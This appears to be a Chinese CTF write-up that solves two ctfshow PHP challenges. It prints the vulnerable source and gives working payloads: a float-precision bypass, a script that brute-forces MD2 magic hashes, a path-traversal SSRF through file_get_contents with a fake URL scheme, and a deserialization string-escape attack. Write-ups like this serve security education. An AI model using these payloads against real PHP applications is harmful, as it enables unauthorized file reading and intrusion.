<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
首先,需要get提交abc三个变量,post一个参数url,将其值赋给变量url的数组
第一个if语句变量a需要是数字,长度小于7,$a不能为0,$a的平方要为零,有点矛盾
绕过a就是利用php的特性:
php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。
也就是 0.00000…1(小数点后161个0)到0.00000…1(小数点后322个0)会同时满足is_numric($a) and $a!=0 and $a**2==0
但是长度会受限制。那我们可以用科学计数法来代替,即 1e-162 到 1e-323
变量d需要经过变量b和变量c进行与运算,变量b和 c又经过不同层次的hash处理,访问robots.txt
User=agent: *
Disallow:
Disallow: hinthint.txt
提示内容
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
绕过b、c
类似于md5弱比较
为了满足$b==hash("md2", $b)
只要保证一个数前面加上0e之后再md2仍然是0e开头的数字即可,$c==hash("md2",hash("md2", $c)
类似。根据提示,发现可以少爆破很多位即可找到满足的数字。
大佬的脚本
<?php
for($i=0;$i<99999;$i++){
$x1=hash("md2",'0e'.$i.'024452');
if(substr($x1,0,2)==='0e' and is_numeric($x1)){
break;
}
}
for($j=0;$j<999999;$j++){
$x2=hash('md2',hash("md2",'0e'.$j.'48399'));
if(substr($x2,0,2)==='0e' and is_numeric($x2)){
break;
}
}
print('b=0e'.$i.'024452&c=0e'.$j.'48399');
结果:b=0e652024452&c=0e603448399
再看一下几个函数:
filter_var() 函数通过指定的过滤器过滤变量。而里面的过滤器是FILTER_VALIDATE_URL 过滤器把值作为 URL 来验证。
parse_url — 解析 URL,返回其组成部分
$url = "http://www.electrictoolbox.com/php-extract-domain-from-full-url/";
$parts = parse_url($url);
结果:
Array (
[scheme] => http
[host] => www.electrictoolbox.com
[path] => /php-extract-domain-from-full-url/
)
url=http://ctfshow.com/../../../../../../fl0g.txt(这样构造,无法访问)
后来发现
考点:file_get_contents使用不存在的协议名导致目录穿越,实现SSRF
因此我们构造url=hhh://ctfshow.com/../../../../../fl0g.txt
payload
get
?a=1e-166&b=0e652024452&c=0e603448399
post
url=hhh://ctfshow.com/../../../../../../fl0g.txt
一道反序列化
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
我们可控的只有uname,password=1,但是只有当password=yu22x才会输出flag
对我们输入的数据经过序列化之后,会经过filter函数进行检测,从Firebasky—->Firebaskyup,增加了两个字符,利用这两个将yu22x挤出来
构造一下正常的
<?php
error_reporting(0);
class a
{
public $uname = 'a';
public $password = 'yu22x';
}
echo serialize(new a())
?>
输出内容
O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";s:5:"yu22x";}
要想拿到flag,我们需要password=yu22x,即通过Firebasky增加的两个字符将;s:8:”password”;s:5:”yu22x”;}挤出来,从而给password赋值为yu22x,15个Firebasky
paylaod:
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}